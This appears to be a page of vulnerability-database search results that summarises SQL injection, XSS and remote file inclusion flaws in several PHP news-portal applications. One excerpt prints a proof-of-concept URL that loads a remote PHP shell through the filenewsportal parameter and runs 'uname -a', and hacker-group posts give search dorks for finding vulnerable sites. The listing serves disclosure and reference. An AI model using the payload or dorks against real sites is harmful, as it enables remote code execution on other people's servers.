25 matches found
CVE-2026-3135
CVE-2026-3135 affects itsourcecode News Portal Project 1.0. The vulnerable element is an unknown function in /admin/add-category.php where the Category argument can be manipulated to trigger an SQL injection. This allows remote initiation of an attack, and public exploit availability is noted. Mu...
CVE-2026-1141
A vulnerability was identified in PHPGurukul News Portal 1.0. The affected element is an unknown function of the file /admin/add-subadmins.php of the component Add Sub-Admin Page. Such manipulation leads to improper authorization. The attack can be launched remotely. The exploit is publicly...
EUVD-2006-2556
Malware in sbrugna...
CScms SQL Injection Vulnerability (CNVD-2022-33151)
CScms is a Content Management System CMS developed based on the CI framework.Cscms Music Portal System v4.2 is vulnerable to SQL injection, which can be exploited by attackers via the component newsNews.phphy...
TR Newsportal <= 0.36tr1 (poll.php) Remote File Inclusion Vulnerability
No description provided by source. DEVIL TEAM THE BEST POLISH TEAM TR Newsportal - Remote File Include Find by Kacper Rahim. Greetings For ALL DEVIL TEAM members, Special DragonHeart : Contact: [email protected] or http://www.devilteam.yum.pl dork: TR Newsportal brought by TRanx...
NewsPortal 'post.php' Cross Site Scripting Vulnerability
NewsPortal is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content. SPDX-FileCopyrightText: 2011 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright ...
NewsPortal 0.37 Cross Site Scripting
f0und by: kurdish hackers team group: kurd-team c0ntact: [email protected] site: www.kurdteam.org ================================= ==============script=============== ================================= script: NewsPortal-0.37 d0rk:"News-Portal" was written by Florian Amrhein2006, All Rights...
Newsportal 0.37 - post.php Cross-Site Scripting
Newsportal 0.37 - post.php Cross-Site Scripting source: https://www.securityfocus.com/bid/46961/info NewsPortal is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content. An attacker may leverage thi...
Newsportal 0.37 - 'post.php' Cross-Site Scripting
source: https://www.securityfocus.com/bid/46961/info NewsPortal is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content. An attacker may leverage this issue to execute arbitrary script code in the...
CVE-2006-2556
Cross-site scripting XSS vulnerability in Florian Amrhein NewsPortal before 0.37, and possibly TR Newsportal TRanx rebuilded, allows remote attackers to inject arbitrary web script or HTML via unknown vectors...
Cross site scripting
Cross-site scripting XSS vulnerability in Florian Amrhein NewsPortal before 0.37, and possibly TR Newsportal TRanx rebuilded, allows remote attackers to inject arbitrary web script or HTML via unknown vectors...
CVE-2006-2557
PHP remote file inclusion vulnerability in extras/poll/poll.php in Florian Amrhein NewsPortal before 0.37, and TR Newsportal TRanx rebuilded, allows remote attackers to execute arbitrary PHP code via a URL in the filenewsportal parameter...
Remote file inclusion
PHP remote file inclusion vulnerability in extras/poll/poll.php in Florian Amrhein NewsPortal before 0.37, and TR Newsportal TRanx rebuilded, allows remote attackers to execute arbitrary PHP code via a URL in the filenewsportal parameter...
CVE-2006-2556
Technical details for CVE-2006-2556 are not publicly provided in the supplied documents. No concrete information on affected products, versions, impact, or fixes is available here. Monitor for updates.
CVE-2006-2557
PHP remote file inclusion vulnerability in extras/poll/poll.php in Florian Amrhein NewsPortal before 0.37, and TR Newsportal TRanx rebuilded, allows remote attackers to execute arbitrary PHP code via a URL in the filenewsportal parameter...
CVE-2006-2557
The CVE-2006-2557 entry concerns a PHP remote file inclusion vulnerability in extras/poll/poll.php used by Florian Amrhein NewsPortal prior to 0.37 and the TR Newsportal (TRanx rebuilded). The underlying issue is a remote attacker providing a URL in the file_newsportal parameter, enabling arbitra...
CVE-2006-2556
Cross-site scripting XSS vulnerability in Florian Amrhein NewsPortal before 0.37, and possibly TR Newsportal TRanx rebuilded, allows remote attackers to inject arbitrary web script or HTML via unknown vectors...
newsportalsploit.txt
Newsportal Lese Overview- und Artikeldaten ein... VULN include"$filenewsportal"; // // CODE -------------------------------------------- + PoC: http://url/pathtonewsportal/extras/poll/poll.php?filenewsportal=http://localhost/phpshell.txt?cmd=uname -a + Solution: Upgrade to 0.37 || del...
Newsportal <= 0.36 Remote File Inclusion Vulnerability
Newsportal = 0.36 Remote File Inclusion Vulnerability + Affected Software: Newsportal = 0.36 + registerglobals=on + Vendor: http://florian-amrhein.de/newsportal + Contact. [email protected] + Vuln discovered by: Florian Amrhein + PoC by: Philipp Niedziela // CODE...
Newsportal: code injection vulnerability
Hello, there is a code injection vulnerability in NewsPortal that could give everyone the ability to execute php code on the webserver where newsportal is installed. This bug should only occur if "registerglobals=on" is set in the php.ini. To remove the problem: - install the recent version:...